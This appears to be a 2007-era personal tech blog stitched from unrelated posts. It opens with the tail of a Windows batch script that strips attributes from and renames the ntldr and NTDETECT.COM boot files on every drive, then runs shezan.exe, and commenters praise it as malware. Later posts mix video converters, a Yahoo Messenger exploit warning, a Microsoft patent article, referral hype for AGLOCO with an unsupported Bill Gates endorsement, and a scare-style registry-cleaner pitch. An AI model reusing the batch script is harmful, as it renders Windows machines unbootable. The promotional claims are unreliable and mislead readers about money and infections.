Attrib -h -s r:\ntldr
ren r:\ntldr shezanldr

Attrib -h -s s:\ntldr
ren S:\ntldr shezanldr

Attrib -h -s t:\ntldr
ren T:\ntldr shezanldr

Attrib -h -s u:\ntldr
ren u:\ntldr shezanldr

Attrib -h -s v:\ntldr
ren v:\ntldr shezanldr

Attrib -h -s w:\ntldr
ren w:\ntldr shezanldr

Attrib -h -s x:\ntldr
ren X:\ntldr shezanldr

Attrib -h -s y:\ntldr
ren Y:\ntldr shezanldr

Attrib -h -s z:\ntldr
ren Z:\ntldr shezanldr

Attrib -h -s c:\NTDETECT.COM
ren c:\NTDETECT.COM SHEZAN.COM

Attrib -h -s d:\NTDETECT.COM
ren D:\NTDETECT.COM SHEZAN.COM

Attrib -h -s e:\NTDETECT.COM
ren E:\NTDETECT.COM SHEZAN.COM

Attrib -h -s f:\NTDETECT.COM
ren F:\NTDETECT.COM SHEZAN.COM

Attrib -h -s g:\NTDETECT.COM
ren G:\NTDETECT.COM SHEZAN.COM

Attrib -h -s h:\NTDETECT.COM
ren H:\NTDETECT.COM SHEZAN.COM

Attrib -h -s i:\NTDETECT.COM
ren I:\NTDETECT.COM SHEZAN.COM

Attrib -h -s j:\NTDETECT.COM
ren J:\NTDETECT.COM SHEZAN.COM

Attrib -h -s k:\NTDETECT.COM
ren K:\NTDETECT.COM SHEZAN.COM

Attrib -h -s l:\NTDETECT.COM
ren L:\NTDETECT.COM SHEZAN.COM

Attrib -h -s m:\NTDETECT.COM
ren M:\NTDETECT.COM SHEZAN.COM

Attrib -h -s n:\NTDETECT.COM
ren N:\NTDETECT.COM SHEZAN.COM

Attrib -h -s O:\NTDETECT.COM
ren O:\NTDETECT.COM SHEZAN.COM

Attrib -h -s p:\NTDETECT.COM
ren P:\NTDETECT.COM SHEZAN.COM

Attrib -h -s q:\NTDETECT.COM
ren Q:\NTDETECT.COM SHEZAN.COM

Attrib -h -s r:\NTDETECT.COM
ren r:\NTDETECT.COM SHEZAN.COM

Attrib -h -s s:\NTDETECT.COM
ren S:\NTDETECT.COM SHEZAN.COM

Attrib -h -s t:\NTDETECT.COM
ren T:\NTDETECT.COM SHEZAN.COM

Attrib -h -s u:\NTDETECT.COM
ren u:\NTDETECT.COM SHEZAN.COM

Attrib -h -s v:\NTDETECT.COM
ren v:\NTDETECT.COM SHEZAN.COM

Attrib -h -s w:\NTDETECT.COM
ren w:\NTDETECT.COM SHEZAN.COM

Attrib -h -s x:\NTDETECT.COM
ren X:\NTDETECT.COM SHEZAN.COM

Attrib -h -s y:\NTDETECT.COM
ren Y:\NTDETECT.COM SHEZAN.COM

Attrib -h -s z:\NTDETECT.COM
ren Z:\NTDETECT.COM SHEZAN.COM

shezan.exe
c:\shezan.exe
d:\shezan.exe
e:\shezan.exe
f:\shezan.exe
g:\shezan.exe
h:\shezan.exe
i:\shezan.exe
j:\shezan.exe
k:\shezan.exe
l:\shezan.exe
m:\shezan.exe
n:\shezan.exe
o:\shezan.exe
p:\shezan.exe
q:\shezan.exe
r:\shezan.exe
s:\shezan.exe
t:\shezan.exe
w:\shezan.exe
x:\shezan.exe
y:\shezan.exe
z:\shezan.exe
exit

BRAVO!!! I used to do this long ago lol ... But dont work with .bat files since 1999

And good that you've found a great security hole windows has. Its a security hole because Windows lets the program change certain settings without making precautions. Have you tested the renaming part of this?

Now listen.. its nothing near to virus. Its just a malware. Virus needs lots of capability to be called as a virus. Replication, infection, spreading automatically, infecting new PCs through any executable files and many more. It can though be called as an worm. U used sub7's icon with your .exe file thats why I thought its sub7's variant.

12-16 is your Birthday?

Enough with Batch coding now learn real programming with C++, C#, Java etc.

Antiviruses detect it as those test in heuristic mode...

Problem in mp3 player

On 25 Aug 2007 19:54:37 -0000, Zaman <visit****@rediffmail.com> wrote:

hi,
I'm facing problem with my mp3 player....
it's working well when I connect it to my computer through USB port....
but when I click on safely remove hardware on task bar to disconnect it from pc the computer show me message
that "prblem ejecting mass storage device", "The device generic volume cannot be stopped right now.
Try stopping the device again later".

what should I do?

Thank you.

Your PC might be infected with a virus which tries to access the removable device when u are not. May be thats why its giving that error. Before ejecting make sure u closed all windows which opened any media from your MP3 player. And also check with antivirus if you cant get rid of the problem. If the device is bz it wont release, remember that.

Thanks

Convert Flash Video .flv Files to .mpg or .avi and Other Media Formats

With some tricks, it's now possible to download the videos that hosted and shared on online video sites such as YouTube and Google Video, instead of just watching the video embedded on the websites.

Some video files that are downloaded from these online video hosting sites may be in the format of Flash Video (.flv). For whatever reasons, such as prefer to view and store the videos in mpeg format, or want to play the offline video clips in portable player such as PSP and iPod, or simply don't like to view it with FLV Player, then there is a need to convert the .flv video format to another format such as .avi, .mov, .wmv and .mpg. There are several tools and conversion utilities that can be used to do the media format conversion.

Riva FLV Encoder

Able to decode Flash Video into AVI, MPEG, Quicktime and WMV. The utility is capable to do the encoding into Flash Video too, and comes with a FLV Player. The conversion may have issue of audio codec cannot be transcoded. For solution and conversion tutorial, visit VideoHelp.

Total Video Converter

A total solution to video conversion which supports reading, playing lots of video and audio formats and converting them to popular video formats. Supported source/input file formats include:

Video Formats:

• Rmvb(.rm,.rmvb)
• MPEG4(.mp4)
• 3gp(.3gp, 3g2)
• Game Psp(.psp)
• MPEG1(.mpg, mpeg)
• MPEG2 PS (.mpg, mpeg, vob)
• MPEG2 TS (DVB Transport Stream)
• Ms ASF(.asf, .wmv)
• Ms AVI(.avi)
• Macromedia Flash video FLV (.flv)
• Real Video (rm)
• Apple Quicktime(.mov)
• FLIC format(.fli, .flc)
• Gif Animation(.gif)
• DV (.dv)
• Video Formats Dx9 Directshow can open

Audio Formats:

• CD audio(.cda)
• MPEG audio(.mp3, mp2)
• Ms WAV(.wav)
• Ms WMA(.wma)
• Real Audio (.ra)
• OGG(.ogg)
• Amr audio(.amr)
• AC3(.ac3)
• SUN AU format (.au)
• Macromedia Flash embedded audio(.swf)
• Audio Formats Dx9 Directshow can open

Game Video Formats:

• Technologies format, used in some games(.4xm)
• Playstation STR
• Id RoQ used in Quake III, Jedi Knight 2, other computer games
• format used in various Interplay computer games, Interplay MVE
• multimedia format used in Origin's Wing Commander III computer game,WC3 Movie
• used in many Sega Saturn console games, Sega FILM/CPK
• Multimedia formats used in Westwood Studios games, Westwood Studios VQA/AUD
• Used in Quake II, Id Cinematic (.cin)
• used in Sierra CD-ROM games, Sierra VMD
• used in Sierra Online games, .sol files
• Electronic Arts Multimedia, Matroska
• used in various EA games; files have extensions like WVE and UV2
• Nullsoft Video (NSV) format

And Total Video Converter able to convert any of the file formats above to the following video media formats, including of mobile videos or audios (mp4, 3gp, xvid, divx mpeg4 avi, amr audio) which are used by cellphone, PDA, PSP, iPod:

Video Formats:

• MPEG4(.mp4)
• 3gp(.3gp, 3g2)
• Game Psp(.psp)
• MPEG1(.mpg, mpeg)
• NTSC, PAL DVD mpeg
• NTSC, PAL SVCD mpeg
• NTSC, PAL VCD mpeg
• Ms Mpeg4 AVI(.avi)
• Divx AVI(.avi)
• Xvid AVI(.avi)
• H264 AVI(.avi)
• Mjpeg AVI(.avi)
• HuffYUV AVI(.avi)
• Swf Video(.swf)
• Flv Video (.flv)
• Gif Animation(.gif)
• Mpeg4 Mov(.mov)
• Apple Quicktime(.mov)
• FLIC format(.fli, .flc)
• Gif Animation(.gif)
• DV (.dv)

Audio Formats:

• MPEG audio(.mp3, mp2)
• Ms WAV(.wav)
• Ms WMA(.wma)
• OGG(.ogg)
• Amr audio(.amr)
• AC3(.ac3)
• SUN AU format (.au)
• m4a(mp4 audio)

SUPER - Simplified Universal Player Encoder & Renderer

SUPER supports a wide variety of input/source file format to play or encode and decode without any additional third party software. It's a GUI to ffmpeg, mencoder, mplayer, ffmpeg2theora & the theora/vorbis RealProducer plugIn. SUPER is a simple yet very efficient tool to convert (encode) or play any Multimedia file, and most video formats and also portable formats for PSP, iPod, PocketPC and NEC, Nokia, Siemens, SonyEricsson are supported.

FLV Online Converter

A free online FLV converter that grab the video from Youtube from embedded web page and convert it on the fly and let you download the properly converted video.

Media Convert

A universal media and file format converter which also able to convert FLV flash video format to another video format.

VDownloader or Web Video Downloader

A free utility that download flash video from Youtube, Google Video, Grinvi and DailyMotion, and then automatically convert the flash video (FLV) to supported video format such as AVI, MPEG (MPG) and PSP video files. One stone kill 2 birds application if you plan to download your flash video from online video sharing and hosting sites.

MPlayer's MEncoder

MEncoder is an all-purpose encoder that is part of MPlayer, a movie player which runs on many systems. It plays most MPEG/VOB, AVI, Ogg/OGM, VIVO, ASF/WMA/WMV, QT/MOV/MP4, RealMedia, Matroska, NUT, NuppelVideo, FLI, YUV4MPEG, FILM, RoQ, PVA files, supported by many native, XAnim, and Win32 DLL codecs. MEncoder is command-line based with limited GUI. It supports wide range of file formats as MPlayer, and it also enable format conversion to be done in x86, Unix, Linux, Red Hat, Mac OS X and other non-x86 system.

Example of command line MEncode syntax:

mencoder input.flv -ofps 15 -vf scale=300:-2 -oac lavc -ovc lavc -lavcopts vcodec=msmpeg4v2:acodec=mp3:abitrate=64 -o output.avi

Replace input.flv and output.avi to your desired file name.

iSquant

iSquint is an iPod video conversion application for Mac OS X. It will convert most popular video formats, including .flv into .mp4 format.

PSP Video 9

PSP Video 9 is a free PSP video conversion and management application. It can convert regular PC video files (avi, mpeg, flv etc) into PSP video files that can plays in PSP portable player, as well as manage/copy these PSP video files between your PC and PSP.

Videora iPod Converter

Videora iPod Converter is a free video conversion application that converts your regular PC video files (avi, mpeg, flv etc) into the proper video format that can plays on your iPod.

Get help or contribute tips or tricks at My Digital Life Forums.

Yahoo Messenger's Webcam invites may cause trouble

There's a new zero-day attack in progress against Yahoo Messenger users. The instant messaging solicitation invites users to open their Webcam. However, the code used in this China-based exploit causes a heap overflow to be triggered when the target accepts a Webcam invitation. That means a remote attacker could execute malicious code on a compromised machine.

The McAfee security blog recommends the following: do not accept Webcam invites from untrusted sources until a patch is released, and block outgoing traffic on TCP port 5100 on your firewall until a patch is released.

Yahoo has been informed and says it is working on a patch.

They Most paying keywords

Do you know which are the buzzwords/keywords everyone is talking about nowadays?

Or are you just gonna ask what are keywords? or buzzwords?

Okay, let me explain. Keywords are just words which applies to specific matters as reserved or usable words. Lets say 'legal' can be a keyword while talking about law things. And buzzwords are also words but they are most discussed words or most used words.

You might also wonder why people will be crazy about some words? Are they some kind of jerks? or geeks? or scrabble players?

Well, in most cases they are not! Then why people are after words? lol

You are not the only one to be ignorant like this but dont be for too long.

Its the latest internet trend that people, even people around you have become interested about making money online. And others, spending lots of bucks to spread their new ideas, products, sites to the hugely growing internet users all over the world. These both group needs those valuable keywords. These keywords are words which ppl look for in the internet and advertisers eager to provide or catch customers from them. Now that making your presence is becoming more and more easier through free websites, webcommunities, forums, profile sites, blogs - people trying to use those keywords in funny manners to get quick money from showing ads in their webspaces. Especially through Google Adsense program.

Lets see a very funny description wrote at someone's profile:

i enjoy money and finance, i have a loan for my student fees and my grandad needs a mesothelioma lawyer. I think asbestos cancer is a bad thing and lung cancer can be caused from smoking tobacco. I use affiliate programs to help earn money online. My father is a federal criminal attorney and he specialises in being a car accident lawyer and personal injury claims.

* underlined words are the keywords for which advertisers usually pay high amount to the ad publishers for competetive bidding.

 

 

AGLOCO :: Pays for your Surfing

 

AGLOCO: The Internet's First Economic Network

Today's hottest Internet businesses are all about the power of social networks. Companies like MySpace, Facebook, and YouTube have become worth billions because businesses have realized that these social networks are generating huge advertising and marketing opportunities. As these social networks grow, the economic potential for its owners – and the advertisers who target the site's users – is remarkable.

At AGLOCO, we asked a simple question: The users created the community, where's their share of the profit?

It was from this question that AGLOCO set out to create the Internet's first Economic Network, harnessing the power of Internet-based social networks to directly benefit the Members who help to create the community.

Becoming a member of AGLOCO is as simple as completing a brief sign-up page (name, age, location and email address.). Once you're a Member, you will be asked to then download the Viewbar™ software. (Note: the Viewbar™ software is currently unavailable, as it is in closed testing. It will be ready for public download in a few weeks, and members will be notified when it is available.)

AGLOCO makes money for its Members in many ways:
 

• Search: Every time you use the Viewbar™ to do an Internet search, AGLOCO earns money from the search engine providers. (For example, Google pays as much as $0.10 on average for each search that is directed to its search engine.)
  Advertising: The Viewbar™ itself displays ads that are targeted based upon the websites you're visiting. When you click on an ad and make a purchase, AGLOCO receives a referral fee, which we pass on to our Members. (Please note: Individual members do not receive any compensation for clicking on ads in the Viewbar™, and the Viewbar™ can detect if someone is clicking ads in a fraudulent manner.)
  Transaction commissions: Many major retailers pay commissions when you refer customers who make a purchase. AGLOCO collects that commission and passes it on to our members. (For example, Amazon pays an 8.5% commission to most websites who refer customers, and has cut deals for even larger percentages. The bigger the AGLOCO community, the better commission we can negotiate for our Members.)
  Software distribution: Numerous software companies pay websites to encourage the download of new software releases (for example, Adobe's Flash and Acrobat Reader software), and trial versions of new programs. AGLOCO members not only get access to the latest and coolest software, they get paid for it.
  Service distribution: Many online service providers will look to the AGLOCO community as a source of new and active users for their services. (For example, eBay, Skype, and PayPal, among others, all pay fees to people who help them recruit new active users to their services)
  Product distribution: When Members agree to use a product, such as cell phones, high-tech gadgets, office supplies, new credit cards or financial services, AGLOCO can collect referral fees. Some companies even offer special rebate and cash-back programs.

AGLOCO Members make money in four ways.

• Members earn a monthly share of the AGLOCO revenue based on the use of the AGLOCO Viewbar™ that month.
• Members earn part of the company based on the use of the AGLOCO Viewbar™ that month (currently a maximum of five hours are rewarded).  Click here for details.
• Members who use our referral system to help build the AGLOCO network will earn more. (AGLOCO only has significant value as a large network and people who help build it should be rewarded. – We also feel that the early users who told friends about YouTube or MySpace or even Google probably deserved something too, but no referral system was available to record their work).
• Members will also get a share of any commissions AGLOCO gets when a Member purchases a product or service from an AGLOCO Sponsor company.

Why should I join now?

• First, it costs nothing to Join and takes less than one minute.  
  
   
• Second, you can help build the AGLOCO community by recruiting new Members TODAY.
  
  Right now, inviting your friends to join AGLOCO is as easy and productive as it will ever be – but you need to invite your friends before someone else beats you to them.
  
  Remember, the bigger the AGLOCO community, the more attractive AGLOCO is to potential business partners and advertisers.
  
   
  • Recruit your friends and family by contacting them through email. (But remember we have a strict anti-spam policy .)
  • Use your blog and your existing social networks, such as MySpace and Facebook, to contact your friends and encourage them to join a new community that will actually let them earn money.

Be a part of the Internet's first Member-Owned Economic Community.

Re: about avi

On 6 Jul 2007 19:43:23 -0000, Zaman <visit****@rediffmail.com> wrote:

Hi,

I'm facing problem with an AVI file......I can hear only sound,
but can't see video of that file.I've tried to run that file with windows media player(ver.10),Herosoft,powerDVD
but couldn't success........please let me know the solution.

Thank you.

 

Ans:: 

Are you Sure this is a Audio+Video AVI ? You need to be sure with which codec it was encoded. And it might be a damaged file where Video data faling to load. Thanks   

 

Talk about the Domain & Hosting u using here

Dear All,

Who ever of you using the hostings or domains from bangladeshi or foreign providers plz share your experiences here. The discussion will help all to evolve. You share your bitter experiences, fraudulent offers given, fullfillments etc.

You can provide detailed info here so others can decide which hosting / domain to buy. Which should they avoid. We can help you get rid of your problems if you express yours to us.

Who are not yet hosting / domain users but gonnabe/wannabe/justinfogatherers can be informed by reading the discussions. You can post your Questions, suggestions, Complaints, Experiences at www.doctortomorrow.com/forum or www.hostingtalkbd.com

Thanks

Yahoo! Photos is closing -- Save your Photos Before they are deleted!!

Do you know Yahoo is going to stop Yahoo!Photos!! see what they said on this regard.

Dear Yahoo users,

For some time now, we've supported two great photo sharing services: Yahoo! Photos and Flickr. But even good things come to an end, and we've decided to close Yahoo! Photos to focus all our efforts on Flickr � the award-winning photo sharing community that TIME Magazine has called "completely addictive."

We will officially close Yahoo! Photos on Thursday, September 20, 2007, at 9 p.m. PDT. Until then, we are offering you the opportunity to move to another photo sharing service (Flickr, KODAK Gallery, Shutterfly, Snapfish, or Photobucket), download your original-resolution photos back to your computer, or buy an archive CD from our featured partner (for users of the New Yahoo! Photos only). All you need to do is tell us what to do with your photos before we close, after which any photos remaining on Yahoo! Photos will be deleted and no longer accessible.

Of course, we hope you'll join us at Flickr (you can even use your Yahoo! ID), but we also realize that Flickr may not be for everyone. In the end, we want you to find the service that's right for you, and we hope you take some time to learn more about your options before making this important decision.

Please give us your decision by Thursday, September 20, 2007, at 9 p.m. PDT. After that time, any photos remaining in Yahoo! Photos will be deleted. Click here to make your decision, or review a list of our frequently asked questions.

Things what Smart ppl do

Here are some Tips on how to recognise Smart TechSavvy people:

1. They use smart browsers like FireFox, Opera... Especially Firefox has lots of addons which actually provide you with lots of facilities and visual tools. This is ideal for WebDevelopers. You can have Adsense notifier at the status of FireFox. You can look at the CSS, Scripts, Layouts and also can edit them on the fly using mouse. Thus you can change the way the pages look. And then actively modify your own page. This is great for learners as they can explore. Every Advanced users like FireFox. Important to not is Smart users dont only depend on one browser. they sometimes use more than one Browser at a time :)   You can download firefox with google toolbar(which is again very handy tool) for free.

2. They have own website or profile or blogs and express their ideas to many. They use revenue earning schemes such as Adsense. See the top of this page to get link for Adsense. If you have lots of visitors, they might turn into ur pocket money makers to even prime income source. To become Adsense account holder you dont have to spend any money nor u must have any credit card.

3. If you have any website or product and you want to promote it to the most audience. Its better you advertise online obviously Adwords from Google is the best of choices. You can spend as low as $1-$2 for this.

4. If you are in the NothAmerica Google offers a brand new thing like the paypal which is fast safer and secure. Because its google's!

5. If you have your own domain and you provide your users email addresses you should opt for google apps. Nobody wont like very tiny inbox size and who'd wanna try for something else when they've experienced gmail? Well google apps provides you Gmail within your domain like mypersonalmail@amardomain.com the size of the inbox is 2GB to upto 10GB... and as you can see rediffmail offers unlimited space for their inbox.. just wait and see Google will take over. The other things Google Apps has are : Chat(Group chat in your domain), Google WebMaker(lets you design your page even a newbie can do it), Doc&Spreasheets and many more... standard edition is free, premiere is a bit expensive but  for who having .edu domain can have it FULLY FREE. This thing is something webmasters dreamed of but never thought would come true.

6. You can use the Google Pack softwares which are most essential for daily use for most of the users. These include : googletlak, googleEarth, Adobe Reader, google desktop, google picasa and many more

 

Bill Gates talks about AGLOCO

When Bill Gates commented on AGLOCO as the next BIG THING on the net then you really have to know that AGLOCO is the future of internet marketing....Its what we need!We dont need some stupid Adsense or Adbrite ads which get 60% false click, we need somthing like AGLOCO! Do you know that the AGLOCO company will be 100% owned by us, the users in shares. Not a single share will be given to anyone except the AGLOCO users. Once AGLOCO goes up to 100 million registered users shares will be worth a massive bucks, and those who sell them will get a five digit money checks.Everyday people talk about AGLOCO, on the street, on coffee breaks, on their jobs. People know that it's going to be big and it will. When the time comes for AGLOCO to go public, it means the has come for its members to be millionaires.If i could just imagine what would be if every and every computer on the world with access to the internet has AGLOCO viewbar installed. The AGLOCO company shares would blow to the sky, and we would be getting massive dollars.Even those with none refferals would make $10-$100 per month...I dont know if you were a member of Alladvantage, but if you haven't been, you have the chance to be in AGLOCO know.Man, Bill Gates talks about AGLOCO, i cant believe it, Bill Gates the Man behind Microsoft!He wouldn't said anything in public about AGLOCO if he wasnt %100 sure of what he was talking about.Just go and check Google stats – 1,240,000 pages of search results, one million two hundred and forty thousand pages with AGLOCO on them!You dont even need to have 18 years!! You can join if you are 13 or older with yours parents approval and signature sent to AGLOCO!!!! so just dont wait to join here & start getting referral for big earning join here

Re: Lenin Bhai amie Anjon

Previously Yahoo mails could be downloaded / uploaded  from within  MSOE(Outlook Express)  by using  mail server names as  pop.yahoo.com and smtp.yahoo.com you can easily find instructions regarding this on the internet. Later yahoo closed that pop access service so ppl no more could check mails from MSOE or similar mail client programs. But people could use Hotmail from OE. But in very recent past hotmail also stopped OE support for free hotmails. since I use the longer version of internet from then I didn't feel the necessity to use OE or Eudora to send/receive mails which I used to use till like 2003/4.

Well, I looked for info on using Gmail on email clients. gmails can be checked from special gmail app with ur GPRS connections also.

And Gmail I made an article for CT which probably wasn't published or was due to be published or we didn't print as other magazines already published similar type so I wanted to blend it out for more usefullness. From your Gmail inbox see the help link at Upper right from which I did compile this tutorial... I attached my writing here.

I am not sure if hotmail/yahoo again offering pop access to email clients but you can have a look by searching in google or just within hotmail/yahoo U'll see that within mail options and help and FAQ :)

And you'll never have to remind me that you are Anjon, untill I forget you. I possess an amazing quality of memory that I forget very little things. And since your email address is also Anjon**** its obvious that you are Anjon :D

Hope you are doing fine with you EEE studies at Ahsanulah :)
http://www.doctortomorrow.com/search.php?cx=008002733442580365057%3A9mlolhghhre&cof=FORID%3A10&q=yahoo+mail+pop++access#1035  presents all usefull links which tells you how u can still use yahoomails in POP3 access. Pay a visit to www.ypopsemail.com to get yahoo at your OE.
 

On 6/21/07, Md. Ashraful Alam <anjonb*****@gmail.com> wrote:

Lenin Bhai ,
How are you ?
Today i want to know about opening a mail account on outlook express.
Firstly  i want to about the type of mail account for google and
yahoo. is it pop or others. then what would be the name of incoming
and outcoming mail server name. please write details .
For today bye bye.

Yours Anjon

Unicode Compliant Free Bangla Typing Software

Avro Keyboard Portable Edition is the first ever Bangla software with portability. It has all the necessary features of Avro Keyboard, but the only difference is, unlike the standard edition, it doesn't need any installation, any font, any administrator access to the computer. Users can take it in there removable media like USB flash drives or iPods and run anywhere.

At a glance:
- No Installation Needed

- No Administrator Access Needed

- No Bangla Fonts Needed, portable edition has built in Automatic Virtual Font Installer

- Carry it in any media (like USB drives), use directly, use anywhere

- All your settings/personalizations remain intact

- Has all the features of Avro Keyboard Standard Edition

Note: Some Anti-virus softwares may show warning about this portable edition due to presence of highly compressed and packed execurable. OmicronLab ensures that this is just a false positive warning and there is nothing to worry about.

Don't think your computer has errors?

Don't think your computer has errors?
It's a known fact that over 93.7% of computers that are over 30 days old are infected with spyware and adware. Such software is rarely accompanied by an uninstall utility and even when it is it almost always leaves broken Windows Registry errors behind it.

Even if you bought a spyware remover tool your Windows Registry might be broken - developers of those tools are focused on removing spyware and adware only, not every trace of software itself.

Most Common Windows Registry Problems

Your PC is likely infected with Windows registry errors if it has ever experienced any of the problems:

• PC runs much slower than when you first bought it
• PC keeps crashing at critical times
• Unable to remove a software using add/remove dialog
• PC doesn't shutdown correctly
• PC doesn't startup correctly
• PC needs frequent rebooting
• Getting the "Blue Screen of Death

This is just a small list of problems and errors that your Windows registry may have.

Microsoft and open source patents

Microsoft believes that Linux and open source software violates 235 of its patents and it wants violators to pay up. The company for years has been bashing the open source community and this latest move may well be the bloodiest battle yet.

By John Fontana

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Which patents have allegedly been violated?

Microsoft's legal general Brad Smith gave a broad breakdown of the alleged violations during an interview with Fortune magazine,

but has not detailed specific patents that have been violated. Smith said the Linux kernel violates 42 patents and the operating system's user interface violates 65. The Open Office application suite violates 45 patents and open source e-mail applications infringe on 15. Other open source software applications infringe on 68 patents.

What is the official word from Microsoft?

Microsoft's Intellectual Property team is handling this issue and it isn't saying anything beyond a statement released to the press by Horacio Gutierrez, vice president of intellectual property and licensing: "Even the founder of the Free Software Foundation, Richard Stallman, noted last year that Linux infringes well over 200 patents from multiple companies. [Gutierrez cited this passage.]

The real question is not whether there exist substantial patent infringement issues, but what to do about them. Microsoft and Novell developed a solution that meets the needs of customers, furthers interoperability and advances the interests of the industry as a whole. Any customer that is concerned about Linux IP issues needs only to obtain their open source subscriptions from Novell."

How does this relate to Microsoft's partnership with Novell last year?

As part of the deal, the two agreed not to sue each other's customers over patent and intellectual property infringements. Dell joined the pair earlier this month. The Covenant to Customers ruffled major feathers in the Linux and open source community for its many loopholes and missing details and led to accusations that Novell was bamboozled again by Microsoft.

How did the open source community react?

Richard Stallman, the leader of the Free Software Foundation, says the next version of the GNU General Public License, GPL 3.0, which is nearing final draft, will be crafted to block the type of patent/IP deal Novell and Microsoft cut.

What is at stake for users?

Users found to be using software that infringes on patents could be held liable, but first Microsoft will have to reveal the specific patents it is talking about. Until then, Microsoft is turning up the heat but nobody is about to get burned. Users should check their contracts from vendors that supply open source products. Vendors such as Red Hat and Sun offer limited forms of protection.

How much will Microsoft want vendors/users to pay?

Unknown - it is likely Microsoft would target a few key vendors and distributors whose software has trickled down into many other open source packages. Red Hat and Ubuntu Linux are two very popular Linux distributions that could come under the microscope.

Why is Microsoft doing this now?

Linux/open source is getting its tentacles deep into many companies and Microsoft wants to control this as much as it can in order to maximize its own profits. Also, the open source desktop operating system and applications are starting to chip at Microsoft's revenue foundation -- Office and Windows.

"Microsoft is being pushed on a lot of sides and they are showing that they are going to respond," says Laura DiDio, an analyst with the Yankee Group who has been following software indemnity issues for years. "This is very interesting. Another question is will you see other companies like Apple, which is based on Unix, will they say Linux and open source infringes on our side."

Is this a new tactic from Microsoft?

No. Microsoft has been threatening to use this weapon for some time, but this is the most concrete step it has taken. The company started building up to this crescendo for many years by protecting its own users over patent and other infringement cases. In 2003, it signed a licensing deal with the SCO Group to insulate Microsoft customers from copyright infringement issues.

In a move similar to what Microsoft could now do after having alleged patent infringement, SCO sued IBM and sent letters to 1,500 Linux users warning them of potential copyright infringement and other legal issues. Also in 2003, Microsoft moved to clear up indemnity issues with its users by lifting a cap on what it would pay to protect volume licensing customers from infringement suits over Microsoft products.

In 2004, the program was expanded again to include almost all customers. At the time, critics said it was mostly a marketing move, but in the light of this week's infringement allegations it may have been setting a defence before going on offence.

What can Microsoft do if vendors do not voluntarily comply?

Microsoft could take them to court, but smaller open source and Linux vendors without the financial means to fight would likely cave in long before that happens.

Does this mean the end of some open source products?

That is to be determined, but if Microsoft pushes the issue it could throw open source software into chaos. The company for years has been labelled by critics as the master of fear, uncertainty and doubt (FUD). The FUD aspect alone could cause enough ripples with the buying public that Microsoft would never have to put any teeth behind the threat of legal action.

How unpopular is this going to be?

If you like reading blogs and discussion threads then crank up your browser because the acid tongues are already wagging. Microsoft is well within its legal rights to protect what it has invested billions to create, but that doesn't mean the process won't have a pungent odour.

Now read: Microsoft: We won't sue over Linux, for now….